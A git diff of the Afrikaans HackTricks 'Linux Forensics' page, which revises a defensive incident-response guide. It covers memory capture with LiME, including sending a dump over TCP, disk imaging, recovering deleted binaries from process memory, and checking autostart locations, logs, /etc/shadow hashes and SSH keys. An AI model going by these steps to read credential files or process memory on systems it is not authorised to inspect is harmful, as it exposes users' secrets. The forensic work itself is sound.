* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,9 +1,10 @@
|
|||
# Linux Forensika
|
||||
# Linux Forensics
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomaties werkstrome te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -13,11 +14,11 @@ Kry vandag toegang:
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repositoriums.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -25,12 +26,12 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
### Basiese Inligting
|
||||
|
||||
Eerstens word dit aanbeveel om 'n **USB** te hê met **bekende goeie binêre en biblioteke daarop** (jy kan net Ubuntu kry en die _/bin_, _/sbin_, _/lib,_ en _/lib64_ lêers kopieer), monteer dan die USB en wysig die omgewingsveranderlikes om daardie binêre te gebruik:
|
||||
Eerstens word dit aanbeveel om 'n **USB** met **bekende goeie binêre lêers en biblioteke daarop** te hê (jy kan net Ubuntu kry en die _/bin_, _/sbin_, _/lib,_ en _/lib64_ lêers kopieer), monteer dan die USB, en wysig die omgewingsveranderlikes om daardie binêre lêers te gebruik:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
Sodra jy die stelsel gekonfigureer het om goeie en bekende binaire lêers te gebruik, kan jy begin met die **onttrekking van basiese inligting**:
|
||||
Nadat jy die stelsel ingestel het om goeie en bekende bineêre lêers te gebruik, kan jy begin **om 'n paar basiese inligting te onttrek**:
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
|
@ -50,45 +51,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
|||
```
|
||||
#### Verdagte inligting
|
||||
|
||||
Terwyl jy die basiese inligting bekom, moet jy kyk vir vreemde dinge soos:
|
||||
Terwyl jy die basiese inligting bekom, moet jy vir vreemde dinge soos die volgende kyk:
|
||||
|
||||
* **Root prosesse** loop gewoonlik met lae PIDS, so as jy 'n root proses vind met 'n groot PID, kan jy vermoed
|
||||
* Kyk na **geregistreerde aanmeldings** van gebruikers sonder 'n skulp binne `/etc/passwd`
|
||||
* Kyk vir **wagwoordhasings** binne `/etc/shadow` vir gebruikers sonder 'n skulp
|
||||
- **Root prosesse** hardloop gewoonlik met lae PIDS, so as jy 'n root proses met 'n groot PID vind, kan jy dit verdenk
|
||||
- Kyk na **geregistreerde aanmeldings** van gebruikers sonder 'n skaal binne `/etc/passwd`
|
||||
- Kyk vir **wagwoordhasings** binne `/etc/shadow` vir gebruikers sonder 'n skaal
|
||||
|
||||
### Geheue Dump
|
||||
|
||||
Om die geheue van die lopende stelsel te verkry, word dit aanbeveel om [**LiME**](https://github.com/504ensicsLabs/LiME) te gebruik.\
|
||||
Om dit te **kompileer**, moet jy dieselfde kernel gebruik as die slagoffer se masjien.
|
||||
Om die geheue van die lopende stelsel te bekom, word dit aanbeveel om [**LiME**](https://github.com/504ensicsLabs/LiME) te gebruik.\
|
||||
Om dit te **kompileer**, moet jy dieselfde **kernel** gebruik as die slagoffer se masjien.
|
||||
|
||||
{% hint style="info" %}
|
||||
Onthou dat jy **nie LiME of enige ander ding** op die slagoffer se masjien kan installeer nie, aangesien dit verskeie veranderinge daaraan sal maak.
|
||||
Onthou dat jy **LiME of enige ander ding nie kan installeer** op die slagoffer se masjien nie, aangesien dit verskeie veranderinge daaraan sal maak
|
||||
{% endhint %}
|
||||
|
||||
As jy 'n identiese weergawe van Ubuntu het, kan jy `apt-get install lime-forensics-dkms` gebruik.\
|
||||
In ander gevalle moet jy [**LiME**](https://github.com/504ensicsLabs/LiME) van GitHub aflaai en dit met die korrekte kernelkoppele kompilleer. Om die presiese kernelkoppele van die slagoffer se masjien te verkry, kan jy eenvoudig die gids `/lib/modules/<kernel weergawe>` na jou masjien kopieer en dan LiME daarmee kompilleer:
|
||||
Dus, as jy 'n identiese weergawe van Ubuntu het, kan jy `apt-get install lime-forensics-dkms` gebruik\
|
||||
In ander gevalle moet jy [**LiME**](https://github.com/504ensicsLabs/LiME) van github aflaai en dit met die korrekte kernelkoppe kompileer. Om die **presiese kernelkoppe** van die slagoffer se masjien te bekom, kan jy net die gids `/lib/modules/<kernel weergawe>` na jou masjien kopieer, en dan LiME daarmee **kompileer**:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
```
|
||||
LiME ondersteun 3 **formate**:
|
||||
|
||||
* Roh (elke segment saamgevoeg)
|
||||
* Gepad (soortgelyk aan roh, maar met nulle in die regterbits)
|
||||
* Lime (aanbevole formaat met metadata)
|
||||
* Rou (elke segment aanmekaar gekonkatenasieer)
|
||||
* Gepas (soortgelyk aan rou, maar met nulle in die regter bietjies)
|
||||
* LiME (aanbevole formaat met metadata)
|
||||
|
||||
LiME kan ook gebruik word om die dump **via die netwerk te stuur** in plaas daarvan om dit op die stelsel te stoor deur iets soos te gebruik: `path=tcp:4444`
|
||||
LiME kan ook gebruik word om die storting via die netwerk te **stuur** in plaas van dit op die stelsel te stoor deur iets soos: `path=tcp:4444`
|
||||
|
||||
### Skyskaping
|
||||
### Skyfbeelding
|
||||
|
||||
#### Afskakeling
|
||||
#### Afskakel
|
||||
|
||||
Eerstens, sal jy die stelsel moet **afskaal**. Dit is nie altyd 'n opsie nie, aangesien die stelsel soms 'n produksieserver kan wees wat die maatskappy nie kan bekostig om af te skaal nie.\
|
||||
Daar is **2 maniere** om die stelsel af te skaal, 'n **normale afskakeling** en 'n **"trek die prop uit" afskakeling**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **lêersisteem** om **gelyk te maak**, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die prop uit" benadering mag 'n **sekere verlies van inligting** meebring (nie baie van die inligting gaan verlore gaan nie aangesien ons reeds 'n beeld van die geheue geneem het nie) en die **malware sal geen geleentheid hê** om iets daaraan te doen nie. Daarom, as jy **vermoed** dat daar 'n **malware** mag wees, voer net die **`sync`** **opdrag** op die stelsel uit en trek die prop uit.
|
||||
Eerstens, sal jy die stelsel moet **afskakel**. Dit is nie altyd 'n opsie nie aangesien die stelsel soms 'n produksieserver kan wees wat die maatskappy nie kan bekostig om af te skakel nie.\
|
||||
Daar is **2 maniere** om die stelsel af te skakel, 'n **normale afskakeling** en 'n **"trek die prop uit" afskakeling**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **lêersisteem** om **gesinkroniseer** te word, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die prop uit" benadering mag 'n bietjie **inligtingsverlies** meebring (nie baie van die inligting gaan verlore gaan aangesien ons reeds 'n beeld van die geheue geneem het nie) en die **malware sal geen geleentheid hê** om iets daaraan te doen nie. Daarom, as jy vermoed dat daar 'n **malware** mag wees, voer net die **`sync`** **bevel** op die stelsel uit en trek die prop uit.
|
||||
|
||||
#### Neem 'n beeld van die skyf
|
||||
#### 'n Beeld van die skyf neem
|
||||
|
||||
Dit is belangrik om daarop te let dat **voordat jy jou rekenaar aan iets wat met die saak verband hou, koppel**, jy moet seker maak dat dit as **alleen-lees** gemonteer gaan word om enige inligting te verander.
|
||||
Dit is belangrik om te let dat **voordat jy jou rekenaar aan iets wat met die saak verband hou, koppel**, moet jy seker maak dat dit as **alleen lees** gemonteer gaan word om te verhoed dat enige inligting gewysig word.
|
||||
```bash
|
||||
#Create a raw copy of the disk
|
||||
dd if=<subject device> of=<image file> bs=512
|
||||
|
@ -97,9 +98,9 @@ dd if=<subject device> of=<image file> bs=512
|
|||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
### Voor-analise van skijfafbeelding
|
||||
### Skijfafbeelding voor-ontleding
|
||||
|
||||
Beeld 'n skijfafbeelding af sonder enige verdere data.
|
||||
Beeldvorming van 'n skijfafbeelding met geen verdere data nie.
|
||||
```bash
|
||||
#Find out if it's a disk image using "file" command
|
||||
file disk.img
|
||||
|
@ -152,39 +153,39 @@ r/r 16: secret.txt
|
|||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomatiese werksvloeie te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Soek na bekende Malware
|
||||
|
||||
### Gewysigde Sisteemlêers
|
||||
### Gewysigde Stelsel lêers
|
||||
|
||||
Linux bied gereedskap om die integriteit van sisteemkomponente te verseker, wat belangrik is om potensieel problematiese lêers op te spoor.
|
||||
Linux bied gereedskap vir die verseker van die integriteit van stelselkomponente, wat noodsaaklik is om potensieel problematiese lêers op te spoor.
|
||||
|
||||
- **RedHat-gebaseerde stelsels**: Gebruik `rpm -Va` vir 'n omvattende ondersoek.
|
||||
- **Debian-gebaseerde stelsels**: `dpkg --verify` vir aanvanklike verifikasie, gevolg deur `debsums | grep -v "OK$"` (nadat `debsums` geïnstalleer is met `apt-get install debsums`) om enige probleme te identifiseer.
|
||||
* **RedHat-gebaseerde stelsels**: Gebruik `rpm -Va` vir 'n omvattende ondersoek.
|
||||
* **Debian-gebaseerde stelsels**: `dpkg --verify` vir aanvanklike verifikasie, gevolg deur `debsums | grep -v "OK$"` (nadat `debsums` met `apt-get install debsums` geïnstalleer is) om enige probleme te identifiseer.
|
||||
|
||||
### Malware/Rootkit Detekteerders
|
||||
### Malware/Rootkit Detectors
|
||||
|
||||
Lees die volgende bladsy om meer te wete te kom oor gereedskap wat nuttig kan wees om malware op te spoor:
|
||||
Lees die volgende bladsy om meer te leer oor gereedskap wat nuttig kan wees om malware te vind:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Soek geïnstalleerde programme
|
||||
## Soek na geïnstalleerde programme
|
||||
|
||||
Om doeltreffend te soek na geïnstalleerde programme op beide Debian- en RedHat-stelsels, oorweeg om stelsellogboeke en databasisse saam met handmatige kontroles in algemene gidslys te gebruik.
|
||||
Om doeltreffend te soek na geïnstalleerde programme op beide Debian- en RedHat-stelsels, oorweeg om stelsellogs en databasisse te benut saam met handmatige kontroles in algemene gids.
|
||||
|
||||
- Vir Debian, ondersoek **_`/var/lib/dpkg/status`_** en **_`/var/log/dpkg.log`_** om besonderhede oor pakketaanbringings te verkry, deur `grep` te gebruik om te filtreer vir spesifieke inligting.
|
||||
* Vir Debian, ondersoek _**`/var/lib/dpkg/status`**_ en _**`/var/log/dpkg.log`**_ om besonderhede oor pakketaanvullings te kry, gebruik `grep` om te filter vir spesifieke inligting.
|
||||
* RedHat-gebruikers kan die RPM-databasis ondervra met `rpm -qa --root=/mntpath/var/lib/rpm` om geïnstalleerde pakkette te lys.
|
||||
|
||||
- RedHat-gebruikers kan die RPM-databasis ondervra met `rpm -qa --root=/mntpath/var/lib/rpm` om geïnstalleerde pakkette te lys.
|
||||
|
||||
Om sagteware wat handmatig of buite hierdie pakketsbestuurders geïnstalleer is, op te spoor, verken gidslyste soos **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_**, en **_`/sbin`_**. Kombineer gidslyste met stelselspesifieke opdragte om uitvoerbare lêers te identifiseer wat nie met bekende pakkette geassosieer word nie, en verbeter soek na alle geïnstalleerde programme.
|
||||
Om sagteware wat handmatig geïnstalleer is of buite hierdie pakketsbestuurders geïnstalleer is, te ontdek, verken gids soos _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, en _**`/sbin`**_. Kombineer gidslys met stelselspesifieke bevele om uitvoerbare lêers te identifiseer wat nie verband hou met bekende pakkette nie, wat jou soektog na alle geïnstalleerde programme verbeter.
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
|
@ -200,16 +201,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
|||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomatiese werksvloeie te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Herstel Verwyderde Lopende Binêre Lêers
|
||||
|
||||
Stel jou voor 'n proses wat uitgevoer is vanaf /tmp/exec en verwyder is. Dit is moontlik om dit te onttrek.
|
||||
Stel jou voor 'n proses wat uitgevoer is vanaf /tmp/exec en verwyder is. Dit is moontlik om dit te onttrek
|
||||
```bash
|
||||
cd /proc/3746/ #PID with the exec file deleted
|
||||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
|
@ -217,29 +219,7 @@ dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
|||
```
|
||||
## Inspekteer Autostart-plekke
|
||||
|
||||
### Geskeduleerde Take
|
||||
|
||||
```html
|
||||
Scheduled tasks are a common way for programs to run automatically at specific times or intervals. In Linux, the cron daemon is responsible for managing scheduled tasks. To inspect scheduled tasks, you can check the contents of the `/etc/cron.d/` directory and the user-specific cron files located in `/var/spool/cron/crontabs/`.
|
||||
|
||||
To view the contents of the `/etc/cron.d/` directory, you can use the following command:
|
||||
|
||||
```bash
|
||||
ls -l /etc/cron.d/
|
||||
```
|
||||
|
||||
This will display a list of files that correspond to scheduled tasks. Each file represents a separate task and contains the command to be executed and the schedule for when it should run.
|
||||
|
||||
To view the user-specific cron files, you can use the following command:
|
||||
|
||||
```bash
|
||||
ls -l /var/spool/cron/crontabs/
|
||||
```
|
||||
|
||||
This will display a list of files that correspond to the cron files for each user. Each file represents a separate user and contains their individual scheduled tasks.
|
||||
|
||||
Inspecting these autostart locations can help identify any suspicious or unauthorized tasks that may be running on the system.
|
||||
```
|
||||
### Beplande Take
|
||||
```bash
|
||||
cat /var/spool/cron/crontabs/* \
|
||||
/var/spool/cron/atjobs \
|
||||
|
@ -255,68 +235,67 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
|||
```
|
||||
### Dienste
|
||||
|
||||
Paaie waar 'n kwaadwillige program as 'n diens geïnstalleer kan word:
|
||||
Paaie waar 'n kwaadwillige program geïnstalleer kan word as 'n diens:
|
||||
|
||||
- **/etc/inittab**: Roep inisialiseringsskripte soos rc.sysinit aan, wat verder verwys na opstartskripte.
|
||||
- **/etc/rc.d/** en **/etc/rc.boot/**: Bevat skripte vir diensopstart, waarvan die laasgenoemde in ouer Linux-weergawes gevind word.
|
||||
- **/etc/init.d/**: Word gebruik in sekere Linux-weergawes soos Debian om opstartskripte te stoor.
|
||||
- **/etc/inittab**: Roep inisialiseringsskripte soos rc.sysinit aan, wat verder na aanloopskripte verwys.
|
||||
- **/etc/rc.d/** en **/etc/rc.boot/**: Bevat skripte vir diensaanvang, waarvan die laaste in ouer Linux-weergawes gevind word.
|
||||
- **/etc/init.d/**: Word in sekere Linux-weergawes soos Debian gebruik vir die stoor van aanloopskripte.
|
||||
- Dienste kan ook geaktiveer word via **/etc/inetd.conf** of **/etc/xinetd/**, afhangende van die Linux-variant.
|
||||
- **/etc/systemd/system**: 'n Gids vir stelsel- en diensbestuurskripte.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Bevat skakels na dienste wat in 'n multi-gebruiker vlak gestart moet word.
|
||||
- **/usr/local/etc/rc.d/**: Vir aangepaste of derdeparty-dienste.
|
||||
- **~/.config/autostart/**: Vir gebruikersspesifieke outomatiese opstarttoepassings, wat 'n versteekte plek vir gebruikersgerigte kwaadwillige programme kan wees.
|
||||
- **\~/.config/autostart/**: Vir gebruikerspesifieke outomatiese aanlooptoepassings, wat 'n skuilplek vir gebruikersgerigte kwaadwillige sagteware kan wees.
|
||||
- **/lib/systemd/system/**: Stelselwye verstek eenheidslêers wat deur geïnstalleerde pakkette voorsien word.
|
||||
|
||||
|
||||
### Kernelmodules
|
||||
|
||||
Linux-kernelmodules, dikwels deur kwaadwillige programme as rootkit-komponente gebruik, word by stelselopstart gelaai. Die kritieke gids en lêers vir hierdie modules sluit in:
|
||||
Linux kernelmodules, dikwels deur kwaadwillige sagteware as rootkit-komponente gebruik, word by stelselbegin gelaai. Die kritieke gids en lêers vir hierdie modules sluit in:
|
||||
|
||||
- **/lib/modules/$(uname -r)**: Bevat modules vir die lopende kernelweergawe.
|
||||
- **/etc/modprobe.d**: Bevat konfigurasie-lêers om modulelaaiing te beheer.
|
||||
- **/lib/modules/$(uname -r)**: Hou modules vir die lopende kernelweergawe.
|
||||
- **/etc/modprobe.d**: Bevat konfigurasie lêers om modulelaaiing te beheer.
|
||||
- **/etc/modprobe** en **/etc/modprobe.conf**: Lêers vir globale module-instellings.
|
||||
|
||||
### Ander outomatiese opstartlokasies
|
||||
### Ander Autostart-plekke
|
||||
|
||||
Linux maak gebruik van verskeie lêers om programme outomaties uit te voer wanneer 'n gebruiker aanmeld, wat potensieel kwaadwillige programme kan bevat:
|
||||
Linux gebruik verskeie lêers om programme outomaties uit te voer by gebruiker aanmelding, wat moontlik kwaadwillige sagteware kan bevat:
|
||||
|
||||
- **/etc/profile.d/***, **/etc/profile**, en **/etc/bash.bashrc**: Uitgevoer vir enige gebruikersaanmelding.
|
||||
- **~/.bashrc**, **~/.bash_profile**, **~/.profile**, en **~/.config/autostart**: Gebruikersspesifieke lêers wat uitgevoer word wanneer hulle aanmeld.
|
||||
- **/etc/rc.local**: Word uitgevoer nadat alle stelseldienste gestart het, wat die einde van die oorgang na 'n multi-gebruiker omgewing aandui.
|
||||
- **/etc/profile.d/**\*, **/etc/profile**, en **/etc/bash.bashrc**: Uitgevoer vir enige gebruiker aanmelding.
|
||||
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, en **\~/.config/autostart**: Gebruikerspesifieke lêers wat by hul aanmelding loop.
|
||||
- **/etc/rc.local**: Loop nadat alle stelseldienste begin het, wat die einde van die oorgang na 'n multi-gebruiker omgewing aandui.
|
||||
|
||||
## Ondersoek Loglêers
|
||||
## Ondersoek Logboeke
|
||||
|
||||
Linux-stelsels hou gebruikersaktiwiteite en stelselgebeure by deur middel van verskeie loglêers. Hierdie loglêers is van kritieke belang vir die identifisering van ongemagtigde toegang, kwaadwillige infeksies en ander sekuriteitsvoorvalle. Sleutelloglêers sluit in:
|
||||
Linux-stelsels hou gebruikersaktiwiteite en stelselgebeure by deur verskeie log lêers. Hierdie logboeke is noodsaaklik vir die identifisering van ongemagtigde toegang, kwaadwillige infeksies, en ander veiligheidsvoorvalle. Sleutel log lêers sluit in:
|
||||
|
||||
- **/var/log/syslog** (Debian) of **/var/log/messages** (RedHat): Vang stelselwye boodskappe en aktiwiteite op.
|
||||
- **/var/log/auth.log** (Debian) of **/var/log/secure** (RedHat): Neem outentiseringspogings, suksesvolle en mislukte aanmeldings op.
|
||||
- Gebruik `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` om relevante outentiseringsgebeure te filter.
|
||||
- **/var/log/boot.log**: Bevat stelselopstartboodskappe.
|
||||
- **/var/log/maillog** of **/var/log/mail.log**: Log e-posbedieneraktiwiteite, nuttig vir die opspoor van e-posverwante dienste.
|
||||
- **/var/log/kern.log**: Stoor kernelboodskappe, insluitend foute en waarskuwings.
|
||||
- **/var/log/dmesg**: Bevat toestuurprogramboodskappe.
|
||||
- **/var/log/faillog**: Neem mislukte aanmeldingspogings op, wat help met sekuriteitskrisisondersoeke.
|
||||
- **/var/log/cron**: Log cron-werkuitvoerings.
|
||||
- **/var/log/boot.log**: Bevat stelselbeginboodskappe.
|
||||
- **/var/log/maillog** of **/var/log/mail.log**: Neem e-posdiensaktiwiteite op, nuttig vir die opsporing van e-posverwante dienste.
|
||||
- **/var/log/kern.log**: Berg kernelboodskappe op, insluitend foute en waarskuwings.
|
||||
- **/var/log/dmesg**: Hou toestelbestuurderboodskappe aan.
|
||||
- **/var/log/faillog**: Neem mislukte aanmeldingspogings op, wat help met veiligheidsverbrekingondersoeke.
|
||||
- **/var/log/cron**: Neem cron-werkuitvoerings op.
|
||||
- **/var/log/daemon.log**: Volg agtergronddiensaktiwiteite.
|
||||
- **/var/log/btmp**: Dokumenteer mislukte aanmeldingspogings.
|
||||
- **/var/log/httpd/**: Bevat Apache HTTPD-fout- en toegangsloglêers.
|
||||
- **/var/log/mysqld.log** of **/var/log/mysql.log**: Log MySQL-databasisaktiwiteite.
|
||||
- **/var/log/httpd/**: Bevat Apache HTTPD-fout- en toegangslogboeke.
|
||||
- **/var/log/mysqld.log** of **/var/log/mysql.log**: Neem MySQL-databasisaktiwiteite op.
|
||||
- **/var/log/xferlog**: Neem FTP-lêeroordragte op.
|
||||
- **/var/log/**: Kontroleer altyd vir onverwagte loglêers hier.
|
||||
- **/var/log/**: Kontroleer altyd vir onverwagte logboeke hier.
|
||||
|
||||
{% hint style="info" %}
|
||||
Linux-stelselloglêers en oudit-subsisteme kan gedeaktiveer of uitgewis word tydens 'n inbreuk of kwaadwillige voorval. Omdat loglêers op Linux-stelsels gewoonlik van die nuttigste inligting oor kwaadwillige aktiwiteite bevat, verwyder indringers dit gereeld. Daarom is dit belangrik om, wanneer beskikbare loglêers ondersoek word, te kyk vir gaping of uit plek ininskrywings wat 'n aanduiding van uitwissing of manipulasie kan wees.
|
||||
Linux-stelsellogboeke en ouditsubstelsels kan gedeaktiveer of verwyder word in 'n indringing of kwaadwillige voorval. Omdat logboeke op Linux-stelsels gewoonlik van die nuttigste inligting oor skadelike aktiwiteite bevat, verwyder indringers dit gereeld. Daarom is dit belangrik om by die ondersoek van beskikbare log lêers te kyk vir gaping of uit plek inskrywings wat 'n aanduiding van verwydering of manipulasie kan wees.
|
||||
{% endhint %}
|
||||
|
||||
**Linux hou 'n opdraggeskiedenis vir elke gebruiker by**, gestoor in:
|
||||
|
||||
- ~/.bash_history
|
||||
- ~/.zsh_history
|
||||
- ~/.zsh_sessions/*
|
||||
- ~/.python_history
|
||||
- ~/.*_history
|
||||
- \~/.bash\_history
|
||||
- \~/.zsh\_history
|
||||
- \~/.zsh\_sessions/\*
|
||||
- \~/.python\_history
|
||||
- \~/.\*\_history
|
||||
|
||||
Verder verskaf die `last -Faiwx`-opdrag 'n lys van gebruikersaanmeldings. Kontroleer dit vir onbekende of onverwagte aanmeldings.
|
||||
Verder bied die `last -Faiwx` opdrag 'n lys van gebruikersaanmeldings. Kontroleer dit vir onbekende of onverwagte aanmeldings.
|
||||
|
||||
Kontroleer lêers wat ekstra regte kan verleen:
|
||||
|
||||
|
@ -325,23 +304,23 @@ Kontroleer lêers wat ekstra regte kan verleen:
|
|||
- Ondersoek `/etc/groups` om enige ongewone groepslidmaatskappe of -regte te identifiseer.
|
||||
- Ondersoek `/etc/passwd` om enige ongewone groepslidmaatskappe of -regte te identifiseer.
|
||||
|
||||
Sommige programme genereer ook hul eie loglêers:
|
||||
Sommige programme genereer ook hul eie logboeke:
|
||||
|
||||
- **SSH**: Ondersoek _~/.ssh/authorized_keys_ en _~/.ssh/known_hosts_ vir ongemagtigde afstandsverbindinge.
|
||||
- **Gnome Desktop**: Kyk na _~/.recently-used.xbel_ vir onlangs benaderde lêers via Gnome-toepassings.
|
||||
- **Firefox/Chrome**: Kontroleer blaaiergeskiedenis en aflaaiers in _~/.mozilla/firefox_ of _~/.config/google-chrome_ vir verdagte aktiwiteite.
|
||||
- **VIM**: Ondersoek _~/.viminfo_ vir gebruiksdetails, soos benaderde lêerpaadjies en soekgeskiedenis.
|
||||
- **Open Office**: Kyk vir onlangse dokumenttoegang wat dui op gekompromitteerde lêers.
|
||||
- **FTP/SFTP**: Ondersoek loglêers in _~/.ftp_history_ of _~/.sftp_history_ vir lêeroordragte wat moontlik ongemagtig is.
|
||||
- **MySQL**: Ondersoek _~/.mysql_history_ vir uitgevoerde MySQL-navrae, wat moontlik ongemagtigde databasisaktiwiteite kan onthul.
|
||||
- **Less**: Analiseer _~/.lesshst_ vir gebruiksgeskiedenis, insluitend besigtigde lêers en uitgevoerde opdragte.
|
||||
- **Git**: Ondersoek _~/.gitconfig_ en projek _.git/logs_ vir veranderinge aan bewaarplekke.
|
||||
- **SSH**: Ondersoek _\~/.ssh/authorized\_keys_ en _\~/.ssh/known\_hosts_ vir ongemagtigde afgeleë verbindinge.
|
||||
- **Gnome Desktop**: Kyk na _\~/.recently-used.xbel_ vir onlangs benaderde lêers via Gnome-toepassings.
|
||||
- **Firefox/Chrome**: Kontroleer blaaiergeskiedenis en aflaaie in _\~/.mozilla/firefox_ of _\~/.config/google-chrome_ vir verdagte aktiwiteite.
|
||||
